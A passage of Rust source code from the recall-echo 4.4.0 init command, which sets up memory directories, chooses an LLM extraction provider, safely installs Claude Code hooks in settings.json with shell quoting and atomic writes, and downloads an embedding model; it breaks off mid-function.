recall-echo 4.4.0

Persistent memory system with knowledge graph — for any LLM tool
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
// This Source Code Form is subject to the terms of the Mozilla Public
// License, v. 2.0. If a copy of the MPL was not distributed with this
// file, You can obtain one at https://mozilla.org/MPL/2.0/.

//! Initialize the recall-echo memory system.
//!
//! Creates the directory structure and template files needed for four-layer
//! memory (graph, curated, short-term, long-term), picks an extraction
//! provider, installs Claude Code's hooks, registers the MCP server with every
//! agent CLI on the machine, and downloads the embedding model.
//!
//! # What `init` asks
//!
//! As little as it can get away with. Setup friction is what loses users, so
//! every question here has to earn itself:
//!
//! - one agent CLI installed — no question at all, that is the provider;
//! - several — one short menu, defaulted to the CLI the session is running
//!   under, because that is the subscription the user just proved they have;
//! - none — the full provider menu, since now the choice really is open.
//!
//! Nothing prompts unless stderr is a terminal ([`atty_check`]); a scripted or
//! piped install takes the same defaults without blocking.
//!
//! # What it does without asking
//!
//! Hooks, MCP registration and the model download are consequences of what is
//! installed, not preferences, so they happen. Each is idempotent, each reports
//! itself, and none of them can fail the command:
//!
//! - hooks are matched by command name, so re-running never duplicates one;
//! - MCP servers live in a map keyed by name in every client, so re-registering
//!   the same name is a no-op (see [`crate::agent_cli`]);
//! - the model is a content-addressed cache, so a second warm is a no-op.
//!
//! # The build-directory guard
//!
//! A binary under `target/debug` or `target/release` is a test harness or a
//! working copy, not something a user's hooks and MCP configs should be pinned
//! to for the life of the install. Everything that writes *outside* the entity
//! root — hooks, MCP registration — is skipped there, which is also what keeps
//! `cargo test` from repointing the developer's live tooling at a test binary
//! or downloading 127 MB per test.

use std::fs;
use std::io::{self, BufRead, Write as _};
use std::path::Path;

use crate::agent_cli::{self, AgentCli, McpReport, McpStatus};
use crate::config::{self, Config, LlmSection, Provider};
use crate::error::RecallError;
use crate::paths;
use crate::theme::{BAD, BOLD, DIM, GOOD, RESET, WARN};
use crate::transcript::Source;

const MEMORY_TEMPLATE: &str = "# Memory\n\n\
<!-- recall-echo: Curated memory. Distilled facts, preferences, patterns. -->\n\
<!-- Keep under 200 lines. Only write confirmed, stable information. -->\n";

const ARCHIVE_TEMPLATE: &str = "# Conversation Archive\n\n\
| # | Date | Session | Topics | Messages | Duration |\n\
|---|------|---------|--------|----------|----------|\n";

/// Roughly what the BGE-Small-EN-v1.5 ONNX weights weigh, for the one line
/// that tells the user why their terminal is busy.
const MODEL_DOWNLOAD_SIZE: &str = "~127 MB";

enum Status {
    Created,
    Exists,
    Error,
}

fn print_status(status: Status, msg: &str) {
    match status {
        Status::Created => eprintln!("  {GOOD}{RESET} {msg}"),
        Status::Exists => eprintln!("  {WARN}~{RESET} {msg}"),
        Status::Error => eprintln!("  {BAD}{RESET} {msg}"),
    }
}

/// Point at a stranded pre-4.2 archive before it strands.
///
/// A claude-style install archived at `<root>/conversations`. Init creates
/// the entity layout, which hooks and reads will now prefer — a populated
/// legacy directory would otherwise be left behind silently: invisible to
/// search and the graph, with numbering restarting at 001 in the new place.
fn notice_legacy_conversations(entity_root: &Path, new_dir: &Path) {
    let legacy = entity_root.join("conversations");
    let legacy_count = fs::read_dir(&legacy).map(|d| d.count()).unwrap_or(0);
    let new_count = fs::read_dir(new_dir).map(|d| d.count()).unwrap_or(0);
    if legacy_count > 0 && new_count == 0 {
        print_status(
            Status::Exists,
            &format!(
                "{legacy_count} archives in the legacy location {} — memory now lives at {}. \
                 Move them across to keep them searchable:",
                legacy.display(),
                new_dir.display()
            ),
        );
        eprintln!("      mv {}/* {}/", legacy.display(), new_dir.display());
        eprintln!(
            "      {DIM}(and review {}/ARCHIVE.md against the one in memory/){RESET}",
            entity_root.display()
        );
    }
}

fn ensure_dir(path: &Path) {
    if !path.exists() {
        if let Err(e) = fs::create_dir_all(path) {
            print_status(
                Status::Error,
                &format!("Failed to create {}: {e}", path.display()),
            );
        }
    }
}

fn write_if_not_exists(path: &Path, content: &str, label: &str) {
    if path.exists() {
        print_status(
            Status::Exists,
            &format!("{label} already exists — preserved"),
        );
    } else {
        match fs::write(path, content) {
            Ok(()) => print_status(Status::Created, &format!("Created {label}")),
            Err(e) => print_status(Status::Error, &format!("Failed to create {label}: {e}")),
        }
    }
}

// ── Choosing an extraction provider ──────────────────────────────────────

/// Pick the provider that will turn conversations into knowledge.
///
/// `detected` is every agent CLI whose binary is on this machine, in
/// preference order. `None` means the user chose to configure it later.
fn select_provider(reader: &mut dyn BufRead, detected: &[AgentCli]) -> Option<Provider> {
    match detected {
        // Nothing to choose between: the answer is obvious, so do not ask it.
        [only] => {
            print_status(
                Status::Created,
                &format!("found {only} — using it for extraction"),
            );
            Some(only.provider())
        }
        [] => {
            eprintln!(
                "\n  {WARN}~{RESET} No agent CLI found. Extraction needs a model provider — \
                 {BOLD}ollama{RESET} is the free, local option."
            );
            prompt_any_provider(reader)
        }
        several => prompt_installed_cli(reader, several),
    }
}

/// The CLI a menu should default to: the one this session is running under,
/// else Claude Code, else the first installed.
fn default_cli(detected: &[AgentCli]) -> AgentCli {
    let running_under = agent_cli::current().filter(|cli| detected.contains(cli));
    running_under
        .or_else(|| {
            detected
                .contains(&AgentCli::ClaudeCode)
                .then_some(AgentCli::ClaudeCode)
        })
        .or_else(|| detected.first().copied())
        .unwrap_or(AgentCli::ClaudeCode)
}

/// Short menu over the CLIs that are actually installed.
fn prompt_installed_cli(reader: &mut dyn BufRead, detected: &[AgentCli]) -> Option<Provider> {
    let default = default_cli(detected);
    if !atty_check() {
        print_status(
            Status::Created,
            &format!(
                "{} agent CLIs found — using {default} for extraction",
                detected.len()
            ),
        );
        return Some(default.provider());
    }

    let default_index = detected.iter().position(|cli| *cli == default).unwrap_or(0) + 1;

    eprintln!("\n{BOLD}Which CLI should recall-echo use to extract knowledge?{RESET}");
    for (index, cli) in detected.iter().enumerate() {
        let note = if *cli == default {
            if agent_cli::current() == Some(*cli) {
                "— you're running under it (default)"
            } else {
                "— (default)"
            }
        } else {
            ""
        };
        eprintln!(
            "  {BOLD}{}{RESET}) {:<12}{DIM}{note}{RESET}",
            index + 1,
            cli.label()
        );
    }
    eprintln!("  {BOLD}o{RESET}) other       {DIM}— Claude API, Ollama, or decide later{RESET}");
    eprint!("\n  Choice [{default_index}]: ");
    io::stderr().flush().ok();

    let mut input = String::new();
    if reader.read_line(&mut input).is_err() {
        return Some(default.provider());
    }

    let answer = input.trim().to_lowercase();
    if answer.is_empty() {
        return Some(default.provider());
    }
    if answer == "o" || answer == "other" {
        return prompt_any_provider(reader);
    }
    if let Some(cli) = answer
        .parse::<usize>()
        .ok()
        .and_then(|n| detected.get(n.wrapping_sub(1)))
    {
        return Some(cli.provider());
    }
    if let Some(cli) = detected.iter().find(|cli| cli.label() == answer) {
        return Some(cli.provider());
    }
    eprintln!("  {WARN}~{RESET} Unknown choice, defaulting to {default}");
    Some(default.provider())
}

/// The full provider menu — every provider recall-echo speaks, installed or
/// not. Reached when nothing was detected, or when the user asks for it.
///
/// Returns `None` if the user chose to configure it later.
fn prompt_any_provider(reader: &mut dyn BufRead) -> Option<Provider> {
    if !atty_check() {
        return Some(Provider::Anthropic);
    }

    eprintln!("\n{BOLD}LLM provider for entity extraction:{RESET}");
    eprintln!("  {BOLD}1{RESET}) anthropic   {DIM}— Claude API (default){RESET}");
    eprintln!("  {BOLD}2{RESET}) ollama      {DIM}— Local models via Ollama, free{RESET}");
    eprintln!(
        "  {BOLD}3{RESET}) claude-code {DIM}— Spawns your `claude` CLI (subscription){RESET}"
    );
    eprintln!(
        "  {BOLD}4{RESET}) gemini      {DIM}— Spawns your `gemini` CLI (subscription){RESET}"
    );
    eprintln!("  {BOLD}5{RESET}) grok        {DIM}— Spawns your `grok` CLI (subscription){RESET}");
    eprintln!("  {BOLD}6{RESET}) codex       {DIM}— Spawns your `codex` CLI (subscription){RESET}");
    eprintln!(
        "  {BOLD}7{RESET}) skip        {DIM}— Configure later with `recall-echo config`{RESET}"
    );
    eprint!("\n  Choice [1]: ");
    io::stderr().flush().ok();

    let mut input = String::new();
    if reader.read_line(&mut input).is_err() {
        return None;
    }

    match input.trim() {
        "" | "1" | "anthropic" => Some(Provider::Anthropic),
        "2" | "ollama" => Some(Provider::Openai),
        "3" | "claude-code" => Some(Provider::ClaudeCode),
        "4" | "gemini" => Some(Provider::Gemini),
        "5" | "grok" => Some(Provider::Grok),
        "6" | "codex" => Some(Provider::Codex),
        "7" | "skip" => None,
        _ => {
            eprintln!("  {WARN}~{RESET} Unknown choice, defaulting to anthropic");
            Some(Provider::Anthropic)
        }
    }
}

/// Write `.recall-echo.toml` if there is none, and report the provider in
/// force either way. `None` means extraction is not configured.
fn configure_llm(
    reader: &mut dyn BufRead,
    memory_dir: &Path,
    detected: &[AgentCli],
) -> Option<Provider> {
    if config::exists(memory_dir) {
        print_status(
            Status::Exists,
            ".recall-echo.toml already exists — preserved",
        );
        return Some(config::load(memory_dir).llm.provider);
    }

    let Some(provider) = select_provider(reader, detected) else {
        print_status(
            Status::Exists,
            "Skipped LLM config — run `recall-echo config set provider <name>` later",
        );
        return None;
    };

    let cfg = Config {
        llm: LlmSection {
            provider: provider.clone(),
            ..LlmSection::default()
        },
        ..Config::default()
    };
    match config::save(memory_dir, &cfg) {
        Ok(()) => {
            print_status(
                Status::Created,
                &format!(
                    "Created .recall-echo.toml (provider: {})",
                    label_of(&provider)
                ),
            );
            Some(provider)
        }
        Err(e) => {
            print_status(Status::Error, &format!("Failed to write config: {e}"));
            None
        }
    }
}

/// The provider's name as a user knows it.
fn label_of(provider: &Provider) -> String {
    match provider {
        Provider::Openai => "ollama (openai-compat)".to_string(),
        other => other.to_string(),
    }
}

/// The provider's name plus what it will cost.
fn extraction_line(provider: &Provider) -> String {
    match provider {
        Provider::Anthropic => "anthropic (Claude API — set ANTHROPIC_API_KEY)".into(),
        Provider::Openai => "ollama (local models — free)".into(),
        Provider::Cli => "custom CLI (from `[llm.cli]`)".into(),
        cli => format!("{cli} (your subscription — no API billing)"),
    }
}

// ── Graph and embedding model ────────────────────────────────────────────

/// Initialize the graph store in memory/graph/.
fn init_graph(runtime: &tokio::runtime::Runtime, memory_dir: &Path) {
    let graph_dir = memory_dir.join("graph");
    if graph_dir.exists() {
        print_status(Status::Exists, "graph/ already exists — preserved");
        return;
    }

    match runtime.block_on(crate::graph::GraphMemory::open(&graph_dir)) {
        Ok(_) => print_status(Status::Created, "Created graph/ (SurrealDB)"),
        Err(e) => print_status(Status::Error, &format!("Failed to init graph: {e}")),
    }
}

/// What became of the embedding model.
#[derive(Debug, Clone, PartialEq, Eq)]
enum WarmOutcome {
    Ready,
    Skipped(&'static str),
    Failed(String),
}

/// Download and load the embedding model now, rather than on first use.
///
/// The first embedding a user ever asks for otherwise stalls for a ~127 MB
/// download with no explanation — the single most convincing way to look
/// broken. Doing it here, last and announced, makes it a setup step.
///
/// Interruptible: nothing after this point is required, so Ctrl-C leaves a
/// working install and the model downloads on first use instead. Failure is
/// reported and never fatal, so an offline install still succeeds.
fn warm_embedding_model(memory_dir: &Path) -> WarmOutcome {
    let exe = recall_binary();
    if is_build_dir(&exe) {
        return WarmOutcome::Skipped("running from a build directory");
    }

    let models_dir = memory_dir.join("graph").join("models");
    if let Err(e) = fs::create_dir_all(&models_dir) {
        return WarmOutcome::Failed(format!("could not create {}: {e}", models_dir.display()));
    }

    let cached = fs::read_dir(&models_dir).is_ok_and(|mut entries| entries.next().is_some());
    if cached {
        eprintln!("  {DIM}… loading the embedding model{RESET}");
    } else {
        eprintln!(
            "  {DIM}… downloading the embedding model ({MODEL_DOWNLOAD_SIZE}, once) — \
             everything else is already set up, Ctrl-C is safe{RESET}"
        );
    }

    match crate::graph::embed::FastEmbedder::new(&models_dir) {
        Ok(_) => WarmOutcome::Ready,
        Err(e) => WarmOutcome::Failed(e.to_string()),
    }
}

// ── Claude Code hooks ────────────────────────────────────────────────────

/// The recall-echo binary that hooks and MCP registrations should point at.
fn recall_binary() -> String {
    std::env::current_exe()
        .ok()
        .and_then(|p| p.to_str().map(String::from))
        .unwrap_or_else(|| "recall-echo".into())
}

/// True when this binary lives in a Cargo build directory.
///
/// Such a path is a test harness or a working copy, and pinning a user's hooks
/// or MCP config to it would break the moment the tree is cleaned.
fn is_build_dir(exe: &str) -> bool {
    exe.contains("/target/debug/") || exe.contains("/target/release/")
}

/// Auto-configure Claude Code hooks (settings.json).
/// Returns true if hooks were configured.
/// Hooks always go in ~/.claude/settings.json regardless of where entity_root is.
fn configure_hooks(entity_root: &Path) -> bool {
    let claude_dir = match paths::detect_claude_code() {
        Some(dir) => dir,
        None => return false,
    };

    let settings_path = claude_dir.join("settings.json");
    let recall_bin = recall_binary();

    // A path under target/ is a test harness or a debug build, not something
    // a user's hooks should be pinned to for the life of the install.
    if is_build_dir(&recall_bin) {
        print_status(
            Status::Exists,
            "Skipped hook install — running from a build directory",
        );
        return false;
    }

    // Absent means a fresh install. Unreadable or unparseable means the
    // user's existing configuration — falling back to `{}` there would
    // overwrite everything they have (permissions, MCP servers, env) with a
    // file containing nothing but these hooks.
    let mut settings: serde_json::Value = if settings_path.exists() {
        let content = match fs::read_to_string(&settings_path) {
            Ok(c) => c,
            Err(e) => {
                print_status(
                    Status::Error,
                    &format!(
                        "Could not read {} ({e}) — hooks not configured",
                        settings_path.display()
                    ),
                );
                return false;
            }
        };
        match serde_json::from_str(&content) {
            Ok(v) => v,
            Err(e) => {
                print_status(
                    Status::Error,
                    &format!(
                        "{} is not valid JSON ({e}) — refusing to overwrite it; \
                         fix the file and re-run init",
                        settings_path.display()
                    ),
                );
                return false;
            }
        }
    } else {
        serde_json::json!({})
    };

    let root = fs::canonicalize(entity_root).unwrap_or_else(|_| entity_root.to_path_buf());
    // A control character (a newline especially) inside a shell command line
    // is unrecoverable for the user reading settings.json later.
    if root.display().to_string().chars().any(char::is_control) {
        print_status(
            Status::Error,
            "Entity root contains control characters — refusing to write it into a shell hook",
        );
        return false;
    }

    // The binary path is interpolated bare (the matcher recognizes hooks by
    // literal shape, so it cannot be quoted). A replaced-in-place binary or a
    // path outside the conservative install-path alphabet is refused rather
    // than baked into a broken or dangerous command line.
    if recall_bin.ends_with(" (deleted)") {
        print_status(
            Status::Error,
            "The running binary was replaced on disk during init — re-run init",
        );
        return false;
    }
    if !is_shell_safe_bin(&recall_bin) {
        print_status(
            Status::Error,
            &format!(
                "Refusing to write hooks: binary path {recall_bin} contains characters unsafe \
                 in a shell command — install recall-echo at a plain path and re-run init"
            ),
        );
        return false;
    }

    let mut notes: Vec<String> = Vec::new();
    let changed = match upsert_recall_hooks(&mut settings, &recall_bin, &root, &mut notes) {
        Ok(changed) => changed,
        Err(why) => {
            print_status(
                Status::Error,
                &format!("settings.json: {why} — hooks not configured"),
            );
            return false;
        }
    };
    for note in &notes {
        print_status(Status::Exists, note);
    }

    if changed {
        match serde_json::to_string_pretty(&settings) {
            Ok(content) => match write_settings_atomically(&settings_path, &content) {
                Ok(()) => {
                    print_status(
                        Status::Created,
                        "Configured SessionStart + SessionEnd + PreCompact hooks in settings.json",
                    );
                    return true;
                }
                Err(e) => print_status(
                    Status::Error,
                    &format!("Failed to write settings.json: {e}"),
                ),
            },
            Err(e) => print_status(Status::Error, &format!("Failed to serialize settings: {e}")),
        }
    } else {
        print_status(Status::Exists, "Hooks already configured in settings.json");
        return true;
    }

    false
}

/// Replace settings.json without a window where it is truncated or absent.
///
/// The previous content is kept as `settings.json.bak`; the new content lands
/// via a temp file and rename, keeping the original file's permissions — the
/// file can hold permission allowlists and credentials, so its mode is not
/// ours to loosen.
fn write_settings_atomically(path: &Path, content: &str) -> std::io::Result<()> {
    if path.exists() {
        let _ = fs::copy(path, path.with_extension("json.bak"));
    }
    // Pid-suffixed so concurrent inits cannot rename each other's half-written
    // temp into place.
    let tmp = path.with_extension(format!("json.tmp.{}", std::process::id()));
    let _ = fs::remove_file(&tmp);
    // Owner-only from birth: the file can hold credentials, and creating at
    // the umask default before tightening leaves a world-readable window.
    #[cfg(unix)]
    {
        use std::os::unix::fs::OpenOptionsExt;
        let mut f = fs::OpenOptions::new()
            .write(true)
            .create_new(true)
            .mode(0o600)
            .open(&tmp)?;
        f.write_all(content.as_bytes())?;
        f.sync_all()?;
    }
    #[cfg(not(unix))]
    fs::write(&tmp, content)?;
    if let Ok(meta) = fs::metadata(path) {
        let _ = fs::set_permissions(&tmp, meta.permissions());
    }
    fs::rename(&tmp, path)
}

/// Quote a path for use inside a shell hook command line.
///
/// Always single-quoted: POSIX single quotes disable every expansion — `$`,
/// backticks, `;`, `|`, spaces — and an embedded `'` is closed, escaped, and
/// reopened. Quoting only "when needed" is how metacharacters slip through.
fn shell_path(path: &Path) -> String {
    format!("'{}'", path.display().to_string().replace('\'', r"'\''"))
}

/// Whether a binary path is safe to interpolate bare into a hook command.
///
/// The binary path is the one interpolated value that cannot be quoted: the
/// existing-hook matcher recognizes our commands by their literal shape, and
/// quoting would change it. Unlike the entity root — arbitrary user data —
/// an install path is conventional, so a conservative character set covers
/// every real install and anything outside it is refused with a message
/// rather than baked into a broken or dangerous command line.
fn is_shell_safe_bin(path: &str) -> bool {
    !path.is_empty()
        && path
            .chars()
            .all(|c| c.is_ascii_alphanumeric() || "/._+-".contains(c))
}

/// Shell operators (scanned outside single-quoted spans) whose presence marks
/// a hook command as hand-customized.
///
/// The canonical commands this installer writes contain none of these outside
/// quotes, so a recall-echo hook that does — `recall-echo archive-session ||
/// true`, a chained cleanup, a redirect — was shaped by the user on purpose,
/// and rewriting it would silently destroy that intent. Prefix wrappers
/// (`timeout`, `nice`, `env`) carry no operator at all; those are caught by
/// the canonical-shape check in [`is_bare_recall_invocation`] instead.
const SHELL_OPERATORS: [&str; 8] = [";", "&", "|", ">", "<", "$", "`", "\n"];

/// The command text with single-quoted spans removed — the only part where a
/// shell operator means anything. The entity root recall-echo itself quotes
/// may legally contain `;` or `$`; scanning through the quotes would make our
/// own canonical hooks look customized and permanently unrepairable.
fn strip_single_quoted(cmd: &str) -> String {
    let mut out = String::new();
    let mut in_quote = false;
    for c in cmd.chars() {
        match c {
            '\'' => in_quote = !in_quote,
            _ if in_quote => {}
            _ => out.push(c),
        }
    }
    out
}

/// Whether a hook command is a plain recall-echo invocation this installer
/// may rewrite: the first token is a recall-echo binary, the second is the
/// expected subcommand, and no shell operator appears outside quotes.
/// Anything else — a `timeout`/`nice`/`env` wrapper, a `|| true` guard, a
/// chained command — is user configuration.
fn is_bare_recall_invocation(cmd: &str, subcommand: &str) -> bool {
    if SHELL_OPERATORS
        .iter()
        .any(|op| strip_single_quoted(cmd).contains(op))
    {
        return false;
    }
    let mut parts = cmd.split_whitespace();
    let Some(first) = parts.next() else {
        return false;
    };
    Path::new(first)
        .file_name()
        .is_some_and(|f| f == "recall-echo")
        && parts.next() == Some(subcommand)
}

/// Install or repair the three recall-echo hooks in a settings.json value.
///
/// The entity root is baked into every command: hooks run with the harness's
/// cwd, which is wherever the user happens to be working, and a bare
/// `recall-echo archive-session` resolves against that — capture then only
/// works when the shell sits in the entity root. MCP registration already
/// bakes the root for reads; this is the write-side counterpart.
///
/// A plain recall-echo hook whose command differs from the expected line —
/// the bare pre-4.2 form, a stale root — is rewritten in place and reported,
/// so re-running `init` repairs a broken install instead of declaring it
/// present. Duplicate recall-echo hooks are collapsed to one — a repaired
/// duplicate would archive every session twice at double the extraction
/// bill. Two kinds of hooks are never rewritten: ones that are not
/// recall-echo's at all, and customized invocations (wrappers, guards,
/// chains — see [`is_bare_recall_invocation`]), each reported through
/// `notes` with the canonical command so the user can migrate it by hand.
///
/// Returns `Ok(changed)`, or `Err` naming what in the settings shape made
/// the install unsafe to attempt.
fn upsert_recall_hooks(
    settings: &mut serde_json::Value,
    recall_bin: &str,
    entity_root: &Path,
    notes: &mut Vec<String>,
) -> Result<bool, String> {
    let root = shell_path(entity_root);
    // SessionStart fires once per session (startup or resume) — injects
    // EPHEMERAL.md into context via stdout. Skips `clear` (user reset) and
    // `compact` (we just recovered from a compaction, no prior session to
    // surface). `consume` takes the root positionally.
    let plan: [(&str, Option<&str>, &str, String); 3] = [
        (
            "SessionStart",
            Some("startup|resume"),
            "consume",
            format!("{recall_bin} consume {root}"),
        ),
        (
            "SessionEnd",
            None,
            "archive-session",
            format!("{recall_bin} archive-session --entity-root {root}"),
        ),
        (
            "PreCompact",
            None,
            "checkpoint",
            format!("{recall_bin} checkpoint --trigger precompact --entity-root {root}"),
        ),
    ];

    let hooks = settings
        .as_object_mut()
        .and_then(|o| {
            o.entry("hooks")
                .or_insert_with(|| serde_json::json!({}))
                .as_object_mut()
        })
        .ok_or_else(|| "settings.json root is not a JSON object".to_string())?;

    let mut changed = false;
    for (event, matcher, subcommand, expected) in plan {
        if upsert_hook(hooks, event, matcher, subcommand, &expected, notes)? {
            changed = true;
        }
    }
    Ok(changed)
}

/// Ensure one event carries exactly one canonical recall-echo hook command.
///
/// Every recall-echo hook under the event is considered: the first canonical
/// (or repairable-and-repaired) occurrence stands, further duplicates are
/// removed, customized invocations are reported and left alone. A group
/// whose hooks are all exactly ours also gets its matcher synced. When no
/// recall-echo hook exists at all, a new group is appended.
///
/// Returns `Ok(changed)`, or `Err` when the event's value is not an array —
/// someone else's structure, not ours to repair or append to.
fn upsert_hook(
    hooks: &mut serde_json::Map<String, serde_json::Value>,
    event: &str,
    matcher: Option<&str>,
    subcommand: &str,
    expected: &str,
    notes: &mut Vec<String>,
) -> Result<bool, String> {
    // Recognize ours by the base command name, not the full binary path.
    let marker = format!("recall-echo {subcommand}");
    let not_array = || format!("\"hooks\".\"{event}\" is not an array — fix it and re-run init");

    let mut changed = false;
    let mut found = false;
    let mut have_canonical = false;

    if let Some(value) = hooks.get_mut(event) {
        let arr = value.as_array_mut().ok_or_else(not_array)?;
        for group in arr.iter_mut() {
            let Some(inner) = group.get_mut("hooks").and_then(|h| h.as_array_mut()) else {
                continue;
            };
            let mut i = 0;
            while i < inner.len() {
                let Some(cmd) = inner[i]
                    .get("command")
                    .and_then(|c| c.as_str())
                    .map(String::from)
                else {
                    i += 1;
                    continue;
                };
                if !cmd.contains(&marker) {
                    i += 1;
                    continue;
                }
                found = true;
                let repairable = cmd == expected || is_bare_recall_invocation(&cmd, subcommand);
                if repairable && have_canonical {
                    inner.remove(i);
                    notes.push(format!("{event}: removed a duplicate recall-echo hook"));
                    changed = true;
                    continue; // index now points at the next element
                }
                if cmd == expected {
                    have_canonical = true;
                } else if repairable {
                    inner[i]["command"] = serde_json::Value::String(expected.to_string());
                    notes.push(format!(
                        "{event}: updated recall-echo hook to carry the entity root"
                    ));
                    have_canonical = true;
                    changed = true;
                } else {
                    notes.push(format!(
                        "{event}: left a customized recall-echo hook unchanged: {cmd} — note it \
                         does not carry the entity root; the canonical command is: {expected}"
                    ));
                }
                i += 1;
            }
            // Sync the matcher only when every hook in the group is exactly
            // ours — a shared group's matcher governs foreign hooks too.
            let all_ours = !inner.is_empty()
